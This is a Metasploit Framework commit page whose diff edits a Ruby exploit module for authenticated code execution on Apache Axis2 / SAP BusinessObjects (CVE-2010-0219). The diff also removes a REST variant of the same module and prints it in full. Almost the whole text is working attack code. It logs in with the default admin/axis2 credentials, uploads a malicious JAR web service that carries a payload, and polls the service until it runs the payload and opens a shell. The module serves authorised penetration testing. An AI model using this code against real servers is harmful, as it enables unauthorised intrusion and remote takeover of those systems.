Merge branch 'master' of github.com:rapid7/metasploit-framework
commit
8b729b59f8
|
@ -60,6 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Dec 30 2010',
|
||||
'Author' => [ 'Joshua Abraham <jabra[at]rapid7.com>' ],
|
||||
'License' => MSF_LICENSE
|
||||
|
@ -75,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
register_autofilter_ports([ 8080 ])
|
||||
end
|
||||
|
||||
def upload_exec(session)
|
||||
def upload_exec(session,rpath)
|
||||
contents=''
|
||||
name = Rex::Text.rand_text_alpha(8)
|
||||
services_xml = %Q{
|
||||
|
@ -121,7 +122,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
data << "\r\n--#{boundary}--"
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['PATH']}/axis2-admin/upload",
|
||||
'uri' => "/#{rpath}/axis2-admin/upload",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
|
@ -163,6 +164,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
=end
|
||||
|
||||
|
||||
print_status("Polling to see if the service is ready")
|
||||
|
||||
res_rest = send_request_raw({
|
||||
'uri' => "/#{rpath}/services",
|
||||
'method' => 'GET',
|
||||
}, 25)
|
||||
|
||||
soapenv='http://schemas.xmlsoap.org/soap/envelope/'
|
||||
xmlns='http://session.dsws.businessobjects.com/2007/06/01'
|
||||
xsi='http://www.w3.org/2001/XMLSchema-instance'
|
||||
|
@ -175,28 +183,42 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
data << '</soapenv:Body>' + "\r\n"
|
||||
data << '</soapenv:Envelope>' + "\r\n\r\n"
|
||||
|
||||
print_status("Polling to see if the service is ready")
|
||||
1.upto 3 do
|
||||
p = /Please enable REST/
|
||||
1.upto 5 do
|
||||
Rex::ThreadSafe.sleep(3)
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['PATH']}/services/#{name}",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
|
||||
if (res_rest and res_rest.code == 200 and res_rest.body.match(p) != nil)
|
||||
# Try to execute the payload
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{rpath}/services/#{name}",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'SOAPAction' => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/run' + '"',
|
||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
}
|
||||
}, 15)
|
||||
else
|
||||
## rest
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{rpath}/services/#{name}/run",
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'SOAPAction' => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/run' + '"',
|
||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
'cookie' => "jsessionid=#{session}",
|
||||
}
|
||||
}, 15)
|
||||
}, 25)
|
||||
end
|
||||
|
||||
if res.code > 200 and res.code < 300
|
||||
print_status("")
|
||||
print_status("NOTE: You will need to delete the web service that was uploaded.")
|
||||
print_status("Using meterpreter:")
|
||||
print_status("rm \"webapps/#{datastore['PATH']}/WEB-INF/services/#{name}.jar\"")
|
||||
print_status("rm \"webapps/#{rpath}/WEB-INF/services/#{name}.jar\"")
|
||||
print_status("Using the shell:")
|
||||
print_status("cd \"webapps/#{datastore['PATH']}/WEB-INF/services\"")
|
||||
print_status("cd \"webapps/#{rpath}/WEB-INF/services\"")
|
||||
print_status("del #{name}.jar")
|
||||
print_status("")
|
||||
break
|
||||
|
@ -209,24 +231,24 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def exploit
|
||||
user = datastore['USERNAME']
|
||||
pass = datastore['PASSWORD']
|
||||
path = datastore['PATH']
|
||||
rpath = datastore['PATH']
|
||||
success = false
|
||||
srvhdr = '?'
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => "/#{path}/axis2-admin/login",
|
||||
'uri' => "/#{rpath}/axis2-admin/login",
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'data' => "userName=#{user}&password=#{pass}&submit=+Login+",
|
||||
}, 25)
|
||||
|
||||
if not (res.kind_of? Rex::Proto::Http::Response)
|
||||
raise RuntimeError.new("http://#{rhost}:#{rport}/#{path}/axis2-admin not responding")
|
||||
print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin not responding")
|
||||
end
|
||||
|
||||
if res.code == 404
|
||||
raise RuntimeError.new("http://#{rhost}:#{rport}/#{path}/axis2-admin returned code 404")
|
||||
print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin returned code 404")
|
||||
end
|
||||
|
||||
srvhdr = res.headers['Server']
|
||||
|
@ -242,14 +264,51 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("http://#{rhost}:#{rport}/#{path}/axis2-admin Unable to attempt authentication")
|
||||
print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin Unable to attempt authentication")
|
||||
end
|
||||
|
||||
|
||||
if not success and rpath != '/dswsbobje'
|
||||
rpath = '/dswsbobje'
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => "/#{rpath}/axis2-admin/login",
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'data' => "userName=#{user}&password=#{pass}&submit=+Login+",
|
||||
}, 25)
|
||||
|
||||
if not (res.kind_of? Rex::Proto::Http::Response)
|
||||
print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin not responding")
|
||||
end
|
||||
|
||||
if res.code == 404
|
||||
print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin returned code 404")
|
||||
end
|
||||
|
||||
srvhdr = res.headers['Server']
|
||||
if res.code == 200
|
||||
# Could go with res.headers["Server"] =~ /Apache-Coyote/i
|
||||
# as well but that seems like an element someone's more
|
||||
# likely to change
|
||||
|
||||
success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
|
||||
if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/)
|
||||
session = $1
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin Unable to attempt authentication")
|
||||
end
|
||||
end
|
||||
|
||||
if success
|
||||
print_good("http://#{rhost}:#{rport}/#{path}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'")
|
||||
upload_exec(session)
|
||||
print_good("http://#{rhost}:#{rport}/#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'")
|
||||
upload_exec(session,rpath)
|
||||
else
|
||||
print_error("http://#{rhost}:#{rport}/#{path}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'")
|
||||
print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -1,233 +0,0 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Axis2 Authenticated Code Execution (via REST)',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
This module logs in to an Axis2 Web Admin Module instance using a specific user/pass
|
||||
and uploads and executes commands via deploying a malicious web service by using REST.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
# General
|
||||
[ 'URL', 'http://www.rapid7.com/security-center/advisories/R7-0037.jsp' ],
|
||||
[ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ],
|
||||
[ 'CVE', '2010-0219' ],
|
||||
],
|
||||
'Platform' => [ 'java', 'win', 'linux' ], # others?
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Java', {
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Platform' => 'java'
|
||||
},
|
||||
],
|
||||
#
|
||||
# Platform specific targets only
|
||||
#
|
||||
[ 'Windows Universal',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win'
|
||||
},
|
||||
],
|
||||
|
||||
[ 'Linux X86',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'linux'
|
||||
},
|
||||
],
|
||||
],
|
||||
'DisclosureDate' => 'Dec 30 2010',
|
||||
'Author' => [ 'Joshua Abraham <jabra[at]rapid7.com>' ],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),
|
||||
OptString.new('PASSWORD', [ false, 'The password for the specified username','axis2' ]),
|
||||
OptString.new('PATH', [ true, "The URI path of the axis2 app", '/axis2'])
|
||||
], self.class)
|
||||
register_autofilter_ports([ 8080 ])
|
||||
end
|
||||
|
||||
def upload_exec(session)
|
||||
contents=''
|
||||
name = Rex::Text.rand_text_alpha(8)
|
||||
services_xml = %Q{
|
||||
<service name="#{name}" scope="application">
|
||||
<description>
|
||||
#{Rex::Text.rand_text_alphanumeric(50 + rand(50))}
|
||||
</description>
|
||||
<messageReceivers>
|
||||
<messageReceiver
|
||||
mep="http://www.w3.org/2004/08/wsdl/in-only"
|
||||
class="org.apache.axis2.rpc.receivers.RPCInOnlyMessageReceiver"/>
|
||||
<messageReceiver
|
||||
mep="http://www.w3.org/2004/08/wsdl/in-out"
|
||||
class="org.apache.axis2.rpc.receivers.RPCMessageReceiver"/>
|
||||
</messageReceivers>
|
||||
<parameter name="ServiceClass">
|
||||
metasploit.PayloadServlet
|
||||
</parameter>
|
||||
</service>
|
||||
}
|
||||
if target.name =~ /Java/
|
||||
zip = payload.encoded_jar
|
||||
zip.add_file("META-INF/services.xml", services_xml)
|
||||
|
||||
# We need this class as a wrapper to run in a thread. For some reason
|
||||
# the Payload class is giving illegal access exceptions without it.
|
||||
path = File.join(Msf::Config.install_root, "data", "java", "metasploit", "PayloadServlet.class")
|
||||
fd = File.open(path, "rb")
|
||||
servlet = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
zip.add_file("metasploit/PayloadServlet.class", servlet)
|
||||
|
||||
contents = zip.pack
|
||||
else
|
||||
|
||||
end
|
||||
|
||||
boundary = rand_text_alphanumeric(6)
|
||||
|
||||
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"filename\"; "
|
||||
data << "filename=\"#{name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
|
||||
data << contents
|
||||
data << "\r\n--#{boundary}--"
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['PATH']}/axis2-admin/upload",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
|
||||
'Content-Length' => data.length,
|
||||
'Cookie' => "JSESSIONID=#{session}",
|
||||
}
|
||||
}, 25)
|
||||
|
||||
if (res and res.code == 200)
|
||||
print_status("Successfully uploaded")
|
||||
else
|
||||
print_error("Error uploading #{res}")
|
||||
return
|
||||
end
|
||||
=begin
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['PATH']}/axis2-web/HappyAxis.jsp",
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'Cookie' => "JSESSIONID=#{session}",
|
||||
}
|
||||
}, 25)
|
||||
puts res.body
|
||||
puts res.code
|
||||
if res.code > 200 and res.code < 300
|
||||
if ( res.body.scan(/([A-Z] \Program Files\Apache Software Foundation\Tomcat \d.\d)/i) )
|
||||
dir = $1.sub(/: /,':') + "\\webapps\\dswsbobje\\WEB-INF\\services\\"
|
||||
puts dir
|
||||
else
|
||||
if ( a.scan(/catalina\.home<\/th><td style=".*">(.*) <\/td>/i) )
|
||||
dir = $1 + "/webapps/dswsbobje/WEB-INF/services/"
|
||||
puts dir
|
||||
end
|
||||
end
|
||||
end
|
||||
=end
|
||||
|
||||
print_status("Polling to see if the service is ready")
|
||||
# Try to execute the payload
|
||||
1.upto 5 do
|
||||
Rex::ThreadSafe.sleep(3)
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['PATH']}/services/#{name}/run",
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'Cookie' => "JSESSIONID=#{session}",
|
||||
}
|
||||
}, 25)
|
||||
if res.code >= 200 and res.code < 300
|
||||
# This should usually mean we got a shell
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
user = datastore['USERNAME']
|
||||
pass = datastore['PASSWORD']
|
||||
path = datastore['PATH']
|
||||
success = false
|
||||
srvhdr = '?'
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => "/#{path}/axis2-admin/login",
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'data' => "userName=#{user}&password=#{pass}&submit=+Login+",
|
||||
}, 25)
|
||||
|
||||
if not (res.kind_of? Rex::Proto::Http::Response)
|
||||
raise RuntimeError.new("http://#{rhost}:#{rport}/#{path}/axis2-admin not responding")
|
||||
end
|
||||
|
||||
if res.code == 404
|
||||
raise RuntimeError.new("http://#{rhost}:#{rport}/#{path}/axis2-admin returned code 404")
|
||||
end
|
||||
|
||||
srvhdr = res.headers['Server']
|
||||
if res.code == 200
|
||||
# Could go with res.headers["Server"] =~ /Apache-Coyote/i
|
||||
# as well but that seems like an element someone's more
|
||||
# likely to change
|
||||
|
||||
success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
|
||||
if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/)
|
||||
session = $1
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("http://#{rhost}:#{rport}/#{path}/axis2-admin Unable to attempt authentication")
|
||||
end
|
||||
|
||||
if success
|
||||
print_good("http://#{rhost}:#{rport}/#{path}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'")
|
||||
upload_exec(session)
|
||||
else
|
||||
print_error("http://#{rhost}:#{rport}/#{path}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
Loading…
Reference in New Issue